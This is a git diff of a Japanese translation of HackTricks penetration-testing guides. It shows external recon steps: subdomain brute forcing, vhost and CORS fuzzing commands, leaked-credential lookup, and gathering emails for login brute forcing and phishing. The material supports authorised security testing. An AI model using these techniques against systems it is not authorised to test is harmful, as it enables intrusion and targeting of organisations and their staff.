を使用してフィルタリングすることができます。または、[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) を使用することもできます。 DNSブルートフォースに最も推奨されるツールは次のとおりです: @@ -359,11 +359,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` -* [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバーを使用していると思います +* [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバーを使用すると思います ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` -* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` をラップしたもので、有効なサブドメインをアクティブなブルートフォースを使用して列挙し、ワイルドカード処理と簡単な入出力サポートを備えています。 +* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` をラップしたもので、有効なサブドメインをアクティブなブルートフォースを使用して列挙し、ワイルドカード処理と簡単な入出力サポートを備えています。Go言語で書かれています。 ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` @@ -371,19 +371,19 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` puredns bruteforce all.txt domain.com ``` -* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)は、非同期でドメイン名を総当たり攻撃するためにasyncioを使用します。 +* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) は、ドメイン名を非同期でブルートフォースするために asyncio を使用します。 ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` ### 第二のDNSブルートフォースラウンド -オープンソースとブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変更を生成してさらに見つけることができます。この目的にはいくつかのツールが役立ちます: +オープンソースやブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変更を生成してさらに見つけることができます。この目的にはいくつかのツールが役立ちます: * [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** ドメインとサブドメインを与えられた場合、順列を生成します。 ```bash cat subdomains.txt | dnsgen - ``` -* [**goaltdns**](https://github.com/subfinder/goaltdns): ドメインとサブドメインが与えられた場合、順列を生成します。 +* [**goaltdns**](https://github.com/subfinder/goaltdns): ドメインとサブドメインを与えられた場合、順列を生成します。 * goaltdnsの順列の**ワードリスト**は[**こちら**](https://github.com/subfinder/goaltdns/blob/master/words.txt)から入手できます。 ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt @@ -393,27 +393,27 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` * [**altdns**](https://github.com/infosec-au/altdns): サブドメインの順列を生成するだけでなく、それらを解決しようともします(ただし、以前にコメントされたツールを使用する方が良いです)。 -* altdnsの順列 **ワードリスト** は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)で入手できます。 +* altdnsの順列の**ワードリスト**は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)で入手できます。 ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` * [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、および変更を実行する別のツール。このツールは結果を総当たり攻撃します(dnsワイルドカードはサポートされていません)。 -* dmutの順列ワードリストは[**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)で入手できます。 +* [**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)からdmutの順列ワードリストを入手できます。 ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` -* [**alterx**](https://github.com/projectdiscovery/alterx)**:** ドメインに基づいて、指定されたパターンに基づいて**新しい潜在的なサブドメイン名を生成**し、より多くのサブドメインを発見しようとします。 +* [**alterx**](https://github.com/projectdiscovery/alterx)**:** ドメインに基づいて、指定されたパターンに基づいて新しい潜在的なサブドメイン名を生成し、より多くのサブドメインを発見しようとします。 #### スマートな順列生成 -* [**regulator**](https://github.com/cramppet/regulator): 詳細については、この[**投稿**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**から**主要な部分**を取得し、それらを混ぜてさらに多くのサブドメインを見つけます。 +* [**regulator**](https://github.com/cramppet/regulator): 詳細については、この[**post**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**から**主要な部分**を取得し、それらを混ぜてさらに多くのサブドメインを見つけます。 ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` -* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、極めてシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズツールです。特製のワードリストや過去のDNS/TLSレコードなどの入力データセットを使用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集された情報に基づいてさらにループで拡張します。 +* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、極めてシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズツールです。_subzuf_ は、カスタマイズされたワードリストや過去のDNS/TLSレコードなどの提供された入力データを利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集された情報に基づいてさらに拡張します。 ``` echo www | subzuf facebook.com ``` @@ -427,7 +427,7 @@ echo www | subzuf facebook.com ### **VHosts / バーチャルホスト** -サブドメインに属する**1つ以上のウェブページを含むIPアドレス**を見つけた場合、そのIP内の他のサブドメインを見つけることができます。これは、IP内のドメインを検索するか、そのIP内のVHostドメイン名を**ブルートフォース**で探すことによって行えます。 +サブドメインを含むIPアドレスを見つけた場合、そのIP内にある**1つ以上のウェブページ**を持つサブドメインを見つけるために、**OSINTソース**でIP内のドメインを検索するか、そのIP内のVHostドメイン名を**ブルートフォース**で探すことができます。 #### OSINT @@ -435,7 +435,7 @@ echo www | subzuf facebook.com **ブルートフォース** -Webサーバーにいくつかのサブドメインが隠されている可能性がある場合、それをブルートフォースで試すことができます。 +Webサーバーにいくつかのサブドメインが隠されている可能性がある場合、ブルートフォースしてみることができます。 ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -453,43 +453,43 @@ VHostScan -t example.com このテクニックを使用すると、内部/非公開のエンドポイントにアクセスできるかもしれません。 {% endhint %} -### **CORS ブルートフォース** +### **CORS Brute Force** -時々、有効なドメイン/サブドメインが _**Origin**_ ヘッダーに設定されている場合にのみ _**Access-Control-Allow-Origin**_ ヘッダーを返すページが見つかります。 これらのシナリオでは、この動作を悪用して、新しい **サブドメイン** を**発見**することができます。 +時々、有効なドメイン/サブドメインが _**Origin**_ ヘッダーに設定されている場合にのみ _**Access-Control-Allow-Origin**_ ヘッダーを返すページが見つかります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン** を**発見**することができます。 ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` ### **バケツのブルートフォース** -**サブドメイン**を探している間に、それがどの種類の**バケット**を指しているかを確認し、その場合は[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。\ +**サブドメイン**を探している間に、それがどの種類の**バケット**を指しているかを確認し、その場合は[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)**してください。**\ また、この時点でスコープ内のすべてのドメインを把握しているため、[**可能なバケット名をブルートフォースし、権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。 ### **モニタリング** -ドメインの**新しいサブドメイン**が作成されたかどうかを**モニタリング**することができます。これは**証明書透過性**ログを監視する[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)が行います。 +**ドメイン**の**新しいサブドメイン**が作成されたかどうかを**モニタリング**することができます。**証明書透明性**ログを監視することで、[**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)が行います。 ### **脆弱性の探索** 可能な[**サブドメイン乗っ取り**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)をチェックしてください。\ **サブドメイン**が**S3バケット**を指している場合は、[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。 -アセットの発見で見つけたIPとは異なるIPを持つ**サブドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と**ポートスキャン**(**nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスに応じて、**この書籍でそれらを"攻撃"するためのヒント**を見つけることができます。\ +アセットの発見で見つけたIPとは異なるIPを持つ**サブドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行中のサービスに応じて、**この書籍でそれらを"攻撃"するためのいくつかのトリック**を見つけることができます。\ _サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外にある可能性があることに注意してください。_ ## IPs 初期段階で**いくつかのIP範囲、ドメイン、およびサブドメイン**を見つけたかもしれません。\ -これらの範囲から**すべてのIP**と**ドメイン/サブドメイン(DNSクエリ)**を再収集する時がきました。 +これらの範囲から**すべてのIPを再収集**し、**ドメイン/サブドメイン(DNSクエリ)**を行う時がきました。 -以下の**無料API**を使用すると、ドメインとサブドメインで以前に使用されたIPを見つけることもできます。これらのIPはクライアントが所有している可能性があります(そして[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つけることができるかもしれません) +以下の**無料API**を使用して、**以前にドメインとサブドメインで使用されたIP**を見つけることもできます。これらのIPはクライアントが所有している可能性があり(そして[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つけることができるかもしれません) * [**https://securitytrails.com/**](https://securitytrails.com/) -また、ツール[hakip2host](https://github.com/hakluke/hakip2host)を使用して特定のIPアドレスを指すドメインをチェックすることもできます。 +また、ツール[**hakip2host**](https://github.com/hakluke/hakip2host)を使用して特定のIPアドレスを指すドメインをチェックすることもできます。 ### **脆弱性の探索** -CDNに属さないすべてのIPに**ポートスキャン**を実行してください(そこに興味深いものはほとんど見つからない可能性が高いです)。発見された実行中のサービスで**脆弱性を見つける**ことができるかもしれません。 +CDNに属さないすべてのIPを**ポートスキャン**してください(そこに興味深いものはほとんど見つからない可能性が高いです)。発見された実行中のサービスで**脆弱性を見つける**ことができるかもしれません。 **ホストをスキャンする方法についての**[**ガイド**](../pentesting-network/) **を見つけてください。** @@ -497,29 +497,29 @@ CDNに属さないすべてのIPに**ポートスキャン**を実行してく > すべての企業とその資産を見つけ、IP範囲、ドメイン、およびスコープ内のサブドメインを把握しています。Webサーバーを検索する時がきました。 -前の手順でおそらくすでに発見されたIPとドメインの**調査**を実行しているかもしれませんので、すでに**可能なすべてのWebサーバー**を見つけているかもしれません。しかし、まだ見つけていない場合は、スコープ内のWebサーバーを検索するための**迅速なトリック**を見ていきます。 +前のステップで、おそらくすでに発見されたIPとドメインの**調査**を実行しているかもしれませんので、**すでに可能なすべてのWebサーバー**を見つけているかもしれません。ただし、まだ見つけていない場合は、スコープ内のWebサーバーを検索するための**高速なトリック**を見ていきます。 -これは**Webアプリの発見**に向けられているため、スコープで**許可されている場合**は**脆弱性**と**ポートスキャン**も実行する必要があります。 +これは**Webアプリの発見**に向けられているため、スコープで**許可されている場合**は、**脆弱性**と**ポートスキャン**も実行する必要があります。 -[**masscanを使用して**関連する**Web**サーバーに**オープンなポートを発見する**迅速な方法はこちらにあります](../pentesting-network/#http-port-discovery)。\ -Webサーバーを探すためのもう1つの便利なツールは[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)、および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すと、ポート80(http)および443(https)に接続しようとします。さらに、他のポートを試すよう指示することもできます。 +[**masscanを使用して**関連する**Web**サーバーの**オープンポートを発見する**高速な方法はこちらにあります](../pentesting-network/#http-port-discovery)。\ +Webサーバーを探すためのもう1つの便利なツールは[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)、および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すと、ポート80(http)および443(https)に接続しようとします。さらに、他のポートを試すように指示することもできます。 ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 ``` ### **スクリーンショット** -スコープ内のすべてのWebサーバー(企業のIPアドレス、すべてのドメイン、サブドメインの中から)を発見したので、おそらくどこから始めればよいかわからないでしょう。ですので、単純にすべてのWebサーバーのスクリーンショットを撮影してみましょう。メインページを見るだけで、脆弱性を抱えやすい奇妙なエンドポイントを見つけることができます。 +スコープ内のすべてのWebサーバー(企業のIPアドレス、すべてのドメイン、サブドメインの中のIPアドレス)を発見したので、おそらくどこから始めればよいかわからないでしょう。ですので、単純にすべてのWebサーバーのスクリーンショットを撮影してみましょう。メインページを見るだけで、脆弱性を抱えている可能性が高い奇妙なエンドポイントを見つけることができます。 -提案されたアイデアを実行するためには、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)、または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)を使用できます。 +提案されたアイデアを実行するために、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)、または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)を使用できます。 -さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、すべてのスクリーンショットを実行し、どこに脆弱性が含まれている可能性が高いか、含まれていないかを確認できます。 +さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、すべてのスクリーンショットを実行し、脆弱性を含んでいそうなものとそうでないものを教えてもらうことができます。 ## パブリッククラウド資産 -企業に関連する潜在的なクラウド資産を見つけるには、その企業を識別するキーワードのリストから始める必要があります。たとえば、暗号通貨企業の場合、"crypto"、"wallet"、"dao"、""、<"subdomain_names">などの単語を使用できます。 +企業に関連する潜在的なクラウド資産を見つけるためには、その企業を識別するキーワードのリストから始める必要があります。たとえば、暗号通貨企業の場合、"crypto"、"wallet"、"dao"、""、<"subdomain_names">などの単語を使用するかもしれません。 -また、バケツで使用される一般的な単語のワードリストが必要です: +また、バケツで使用される一般的な単語のワードリストが必要です: - [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt) - [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt) @@ -533,11 +533,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **脆弱性を探す** -オープンなバケツや公開されたクラウド関数などのものを見つけた場合は、それらにアクセスして提供されるものを確認し、悪用できるかどうかを試してください。 +オープンバケツや公開されたクラウド関数などのものを見つけた場合は、アクセスして、提供されている内容を確認し、悪用できるかどうかを試してみてください。 ## メール -スコープ内のドメインとサブドメインがあれば、企業のメールアドレスを検索を開始するために必要なものがすべて揃っています。これらは私にとって最も効果的だった企業のメールアドレスを見つけるためのAPIとツールです: +スコープ内のドメインとサブドメインがあれば、企業のメールアドレスを検索を開始するために必要なものはすべて揃っています。 + +私にとって最も効果的だった企業のメールアドレスを見つけるためのAPIとツールは以下の通りです: - [**theHarvester**](https://github.com/laramies/theHarvester) - APIsを使用 - [**https://hunter.io/**](https://hunter.io/)のAPI(無料版) @@ -546,11 +548,11 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### **脆弱性を探す** -後でメールは、WebログインやSSHなどの認証サービスをブルートフォース攻撃するのに役立ちます。また、フィッシングには必要不可欠です。さらに、これらのAPIは、メールアドレスの背後にいる人物についてのさらなる情報を提供し、フィッシングキャンペーンに役立ちます。 +後でメールアドレスは、WebログインやSSHなどの認証サービスをブルートフォース攻撃するために役立ちます。また、フィッシング攻撃にも必要です。さらに、これらのAPIは、メールアドレスの背後にいる人物についてのさらなる情報を提供してくれるため、フィッシングキャンペーンに役立ちます。 ## 資格情報の漏洩 -ドメイン、サブドメイン、およびメールアドレスを使用して、過去に漏洩した資格情報を探すことができます: +ドメイン、サブドメイン、およびメールアドレスを使用して、過去に漏洩した資格情報を探すことができます: - [https://leak-lookup.com](https://leak-lookup.com/account/login) - [https://www.dehashed.com/](https://www.dehashed.com/) @@ -561,18 +563,18 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ## シークレットの漏洩 -資格情報の漏洩は、企業のハッキングに関連し、機密情報が漏洩され、販売されたものです。ただし、企業はそのデータベースにない情報が含まれている可能性のある他の漏洩にも影響を受けるかもしれません。 +資格情報の漏洩は、企業のハッキングに関連し、機密情報が漏洩され、販売された場合に起こります。ただし、企業はそのデータベースにない情報が含まれる可能性のある他の漏洩にも影響を受けるかもしれません。 ### Githubの漏洩 -資格情報やAPIが、企業の公開リポジトリやそのgithub企業の開発者によって公開される可能性があります。\ -[**Leakos**](https://github.com/carlospolop/Leakos)ツールを使用して、組織とその開発者のすべての公開リポジトリをダウンロードし、自動的に[gitleaks](https://github.com/zricethezav/gitleaks)を実行できます。 +資格情報やAPIが、企業の公開リポジトリやそのgithub企業の従業員が作業しているユーザーの公開リポジトリに漏洩している可能性があります。\ +[**Leakos**](https://github.com/carlospolop/Leakos)ツールを使用して、組織とその開発者のすべての公開リポジトリをダウンロードし、[**gitleaks**](https://github.com/zricethezav/gitleaks)を自動的に実行できます。 -**Leakos**は、渡されたURLのすべての**テキスト**に対して**gitleaks**を再実行するために使用できます。なぜなら、**ウェブページにもシークレットが含まれることがある**からです。 +**Leakos**は、渡されたURLのすべてのテキストに対して**gitleaks**を再実行するためにも使用できます。ときには**Webページにもシークレットが含まれている**ことがあります。 #### Github Dorks -攻撃対象の組織で検索する可能性のある**github dorks**を見つけるために、この**ページ**もチェックしてください: +攻撃対象の組織で検索する可能性のある**github dorks**を見つけるために、この**ページ**もチェックしてください: {% content-ref url="github-leaked-secrets.md" %} [github-leaked-secrets.md](github-leaked-secrets.md) @@ -580,12 +582,12 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ### ペーストの漏洩 -攻撃者や単なる作業者が、企業のコンテンツをペーストサイトに公開することがあります。これには機密情報が含まれている可能性がありますが、含まれていない可能性もあります。\ -80以上のペーストサイトで検索するために[**Pastos**](https://github.com/carlospolop/Pastos)ツールを使用できます。 +攻撃者や作業者が企業のコンテンツをペーストサイトに公開することがあります。これには機密情報が含まれる可能性がありますが、含まれない場合もあります。\ +80以上のペーストサイトで検索するために、[**Pastos**](https://github.com/carlospolop/Pastos)ツールを使用できます。 ### Google Dorks -古くからのGoogle Dorksは、**そこにあってはならない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)には数千ものクエリが含まれており、手動で実行することはできないことです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のようなツールを使用してすべてを実行できます。 +古くからあるGoogle Dorksは、**そこにあってはいけない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)には数千ものクエリが含まれており、手動で実行することはできません。お気に入りの10個を選ぶか、[**Gorks**](https://github.com/carlospolop/Gorks)のようなツールを使用してすべてを実行することができます。 _通常のGoogleブラウザを使用してデータベース全体を実行することを期待しているツールは、Googleがすぐにブロックするため、決して終了しません。_ @@ -595,37 +597,37 @@ _通常のGoogleブラウザを使用してデータベース全体を実行す ## パブリックコードの脆弱性 -企業が**オープンソースコード**を持っていることがわかった場合、そのコードを**分析**して**脆弱性**を検索できます。 +企業が**オープンソースコード**を持っている場合、そのコードを**分析**して**脆弱性**を検索できます。 -**言語によって異なるツール**があります: +**言語によって異なるツール**があります: {% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %} [code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) {% endcontent-ref %} -また、以下のような無料のサービスを使用して**パブリックリポジトリをスキャン**することができます: +また、以下のような無料のサービスを使用して**パブリックリポジトリをスキャン**することもできます: - [**Snyk**](https://app.snyk.io/) ## [**Webペンテスト手法**](../../network-services-pentesting/pentesting-web/) -**バグハンター**によって見つかる**脆弱性の大部分**は**Webアプリケーション**内に存在するため、この時点で**Webアプリケーションのテスト手法**について話したいと思います。詳細は[**こちらで見つけることができます**](../../network-services-pentesting/pentesting-web/)。 +**バグハンター**によって見つかる**脆弱性の大部分**は**Webアプリケーション**内に存在するため、この段階で**Webアプリケーションのテスト手法**について話したいと思います。詳細は[**こちらで見つけることができます**](../../network-services-pentesting/pentesting-web/)。 また、[**Web Automated Scannersオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)セクションに特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることは期待できないかもしれませんが、**ワークフローに実装して初期のWeb情報を得るのに役立ちます**。 ## 要約 -> おめでとうございます!この時点で、すでに**すべての基本的な列挙**を行っています。はい、基本的なものですが、さらに多くの列挙ができます(後でさらなるトリックを見ていきます)。 +> おめでとうございます!この時点で**すべての基本的な列挙**をすでに実行しています。はい、基本的なものですが、さらに多くの列挙ができます(後でさらなるトリックを見るでしょう)。 したがって、すでに次のことを行っています: -1. スコープ内の**すべての企業**を見つけました -2. 企業に属する**すべての資産**を見つけました(スコープ内の場合は脆弱性スキャンも実行) -3. 企業に属する**すべてのドメイン**を見つけました -4. ドメインの**すべてのサブドメイン**を見つけました(サブドメインの乗っ取りはありましたか?) -5. スコープ内の**CDNからでないIP**を含むすべての**IP**を見つけました -6. **すべてのWebサーバー**を見つけ、**スクリーンショット**を取りました(深く調査する価値のある奇妙なものはありますか?) +1. スコープ内の**企業**をすべて見つけました +2. 企業に属するすべての**資産**を見つけました(スコープ内であればいくつかの脆弱性スキャンを実行) +3. 企業に属するすべての**ドメイン**を見つけました +4. ドメインのすべての**サブドメイン**を見つけました(サブドメインの乗っ取りはありましたか?) +5. スコープ内の**CDNからでないIP**をすべて見つけました +6. すべての**Webサーバー**を見つけ、それらの**スクリーンショット**を撮りました(より詳しく調査する価値のある奇妙なものはありましたか?) 7. 企業に属する**潜在的なパブリッククラウド資産**をすべて見つけました -8. **簡単に大きな勝利をもたらす可能性のある** **メール**、**資格情報の漏洩**、および**シークレットの漏洩**を見つけました +8. **簡単に大きな勝利をもたらす可能性のある** **メール**、**資格情報の漏洩**、および**秘密の漏洩**を見つけました 9. 見つけたすべてのWebを**ペンテスト**しました ## **完全なRecon自動ツール** @@ -641,7 +643,7 @@ _通常のGoogleブラウザを使用してデータベース全体を実行す * [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)など - + **ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 @@ -649,14 +651,14 @@ _通常のGoogleブラウザを使用してデータベース全体を実行す -**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう! +**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキングを学ぶ** HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出することで、あなたのハッキングトリックを共有してください。 +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、**あなたのハッキングトリックを共有**してください。 diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index 5ce6d9769..9532c083d 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -2,21 +2,21 @@ -htARTE(HackTricks AWS Red Team Expert)を使って、**ゼロからヒーローまでAWSハッキングを学ぶ**! +htARTE(HackTricks AWS Red Team Expert)を使って、ゼロからヒーローまでAWSハッキングを学びましょう! HackTricksをサポートする他の方法: -* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **ハッキングテクニックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks\_live**をフォローする🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** +- **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 - + -**ハッキングキャリア**に興味がある方、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 +**ハッキングキャリア**に興味がある方や、**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -32,7 +32,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) ### 1 - [ネットワーク内のホストの発見](pentesting-network/#discovering-hosts)/ [企業の資産の発見](external-recon-methodology/) -**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホスト**(内部テスト)を見つけるか、**会社の資産をインターネット上で見つける**ことに興味があるかもしれません。 +**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホスト**(内部テスト)を見つけるか、**会社の資産をインターネット上で見つける**かに興味があるかもしれません。 {% hint style="info" %} 外部テストを実行している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再起動する必要があります。 @@ -41,70 +41,70 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/) ### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)** **このセクションは、内部テストを実行している場合にのみ適用されます。**\ -ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、ネットワーク内で見つけられるものを**受動的/能動的(MitM)**に学ぶために、**データをスニッフィング**することができます。[**ネットワークのペンテスト**](pentesting-network/#sniffing)を読んでください。 +ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、ネットワーク内で見つけられるものを**受動的/能動的(MitM)に学ぶためにデータをスニッフィング**することができます。[**ネットワークのペンテスト**](pentesting-network/#sniffing)を読んでみてください。 ### 3- [ポートスキャン - サービスの発見](pentesting-network/#scanning-hosts) 